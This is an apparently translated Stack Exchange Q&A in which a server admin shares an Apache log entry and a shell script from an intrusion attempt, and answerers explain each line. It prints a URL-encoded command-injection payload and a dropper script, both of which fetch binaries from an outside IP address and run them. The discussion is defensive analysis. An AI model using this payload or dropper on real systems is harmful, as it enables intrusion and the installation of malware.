这个 bash 脚本有什么作用?[黑客尝试]

ndo*_*m91 32 linux apache-http-server bash shell-script

我一直在我的服务器上注意到 apache 日志,最近出现了以下奇怪的行:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

所以我做了一个自定义的 Fail2Ban 过滤器并开始禁止请求这些 /login.cgi URL 的 IP。

但我很好奇他们想要做什么,所以我拉了他们试图执行的脚本,我似乎无法弄清楚它到底做了什么。关于删除 /var 和 /tmp 中的 arch 文件夹?

无论如何,这里是:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done
Run Code Online (Sandbox Code Playgroud)

l0b*_*0b0 43

逐行:

#!/bin/sh
Run Code Online (Sandbox Code Playgroud)

sh外壳(以哪个为准)建立为 shebang 行。sh%20/tmp/ks在请求中覆盖了这一点,因此这一行被视为普通注释并被忽略。

u="asgknskjdgn"
Run Code Online (Sandbox Code Playgroud)

声明一个任意名称,大概是为了避免与其他文件名冲突。我不确定他们为什么不直接使用mktemp,但也许并非在所有平台上都可用。

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Run Code Online (Sandbox Code Playgroud)

列举了几种常见的CPU架构。

http_server="80.211.173.159"
http_port=80
Run Code Online (Sandbox Code Playgroud)

有漏洞利用的服务器。

cd /tmp/||cd /var/
Run Code Online (Sandbox Code Playgroud)

尝试将目录更改为您的 Web 服务器可能能够创建文件的位置。我相信 SELinux 会对此有所帮助,通过对 Web 服务器可以执行的操作执行比文件系统自己执行更严格的规则。

for name in $bin_names
    do
Run Code Online (Sandbox Code Playgroud)

对于每个 CPU 架构...

    rm -rf $u
Run Code Online (Sandbox Code Playgroud)

删除以前尝试过的漏洞利用程序。因为下一行不必要,所以可以忽略。

    cp $SHELL $u
Run Code Online (Sandbox Code Playgroud)

复制当前的 shell 可执行文件 ( /bin/sh)。由于 next 之后的行可以忽略。

    chmod 777 $u
Run Code Online (Sandbox Code Playgroud)

使每个人都可以完全访问新文件。这应该在wget命令之后,这要么是 shell 脚本新手的标志,要么是一种误导技术。

    >$u
Run Code Online (Sandbox Code Playgroud)

清空文件。由于下一行,毫无意义。

    wget http://$http_server:$http_port/$name -O -> $u
Run Code Online (Sandbox Code Playgroud)

使用此架构的漏洞利用脚本覆盖文件。-O -> $u可能已经写入-O - > $u(连字符表示应将下载写入标准输出),相当于-O $u.

    ./$u $name
Run Code Online (Sandbox Code Playgroud)

以架构作为第一个参数运行漏洞利用脚本。

done
Run Code Online (Sandbox Code Playgroud)

结束循环。

看起来这是一个简单的漏洞利用尝试脚本,尝试针对各种 CPU 平台进行已知漏洞利用。我不知道为什么它会覆盖$u三遍,但这些操作可能只是脚本早期迭代中的剩余部分。据推测,早期版本的漏洞利用是硬编码的,而不是动态提供的——前者更容易,但几乎可以保证随着时间的推移,随着漏洞被修补,脚本的效率会降低。

  • 显式 rm'ing 文件有一个优势。如果目标已经存在并且正在执行,内核将不允许您打开文件进行写入(-ETXTBSY)。但是,允许重命名或删除正在运行的程序。 (22认同)
  • 使用`-O->filename`,`filename` 不会显示在*ps ax* 的输出中。这可能是使调试更加困难的优势。 (5认同)

Mok*_*bai 12

wget是关键危险线。

for name in $bin_names正在处理平台列表,并为每个平台清除一个临时目录,复制一个 shell,然后让每个人都可以访问它。

然后wget它使用它下载一个文件,然后使用它刚刚复制的 shell 程序执行它。

该脚本基本上是尝试为它可以下载的每个平台下载一系列可执行文件或脚本,并将它们与您的系统摩擦,希望它可以进一步危害您的系统。

  • 擦==跑? (6认同)
  • @Barmar 我确定这是故意的:P (5认同)